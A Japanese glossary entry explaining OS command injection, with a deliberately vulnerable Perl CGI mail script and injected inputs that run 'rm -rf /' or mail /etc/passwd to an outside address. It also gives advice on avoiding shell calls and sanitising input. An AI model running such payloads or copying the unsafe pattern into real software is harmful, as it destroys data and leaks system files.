ア | イ | ウ | エ | オ |
カ | キ | ク | ケ | コ |
サ | シ | ス | セ | ソ |
タ | チ | ツ | テ | ト |
ナ | ニ | ヌ | ネ | ノ |
ハ | ヒ | フ | ヘ | ホ |
マ | ミ | ム | メ | モ |
ヤ | ユ | ヨ | ||
ラ | リ | ル | レ | ロ |
ワ | ヰ | ヴ | ヱ | ヲ |
ン |
A | B | C | D | E |
F | G | H | I | J |
K | L | M | N | O |
P | Q | R | S | T |
U | V | W | X | Y |
Z | 数字 | 記号 |
インジェクション攻撃の一つ。
CGIプログラムで、メールアドレスの登録者に自動で返信する処理を想定する。
#!/usr/bin/perl use strict; use CGI; my $cgi = new CGI; my $mail = $cgi->param('mail') my $fp; open(fp, "|/usr/lib/sendmail $mail"); print fp "Subject: Registration of mail address\n"; print fp "From: regist@example.com\n\n"; print fp "登録ありがとうございます。\n"; close($fp);
この例では、Webのフォームなどから呼ばれ、利用者が入力したメールアドレスがCGIパラメーターmailの値となることとする。
もしメールアドレスに「nurupo@example.jp」と入力された場合、上のプログラムでは次のような文字列を作り、シェルに渡され実行される。
/usr/lib/sendmail nurupo@example.jp
恐らくこれが、本来想定された動作だろう。しかしもし、悪意ある利用者が「nurupo@example.jp; rm -rf /」と入力した場合、どうなるであろうか。この場合、次のコマンドが実行されてしまう。
/usr/lib/sendmail nurupo@example.jp; rm -rf /
「;」は複数のコマンドを区切る文字で、シェルはこの文字を境に、順次左から実行してゆく。つまり、メールを送った後、「rm -rf /」が実行される。
rm -rf /とは、そのコンピューター内の全ファイルを消せ、という命令である。これが実際に実行されてしまえば、そのコンピューターが再起不能になるであろうことは、想像に難くない。
また破壊攻撃でなくても、「nurupo@example.jp ; mail nurupo@example.jp < /etc/passwd」のようなことをされる可能性もある。この場合、そのサーバー内にあるファイルが外部に流出することになる。
Webアプリケーションの原則として、安易にOSコマンドを呼び出すようなプログラムを書いてはならない。
OSコマンドを呼ぶ必要性は現実には極めて限定的であろうし、もしその場合は深刻な脆弱性を生む可能性が高いため、処理を書くときには充分な注意が必要である。
また、入力データが汚染されている可能性があるため、サニタイジングを実施することも忘れてはならない。つまり、入力のチェックは、念入りに行なう必要がある、ということである。
コメントなどを投稿するフォームは、日本語対応時のみ表示されます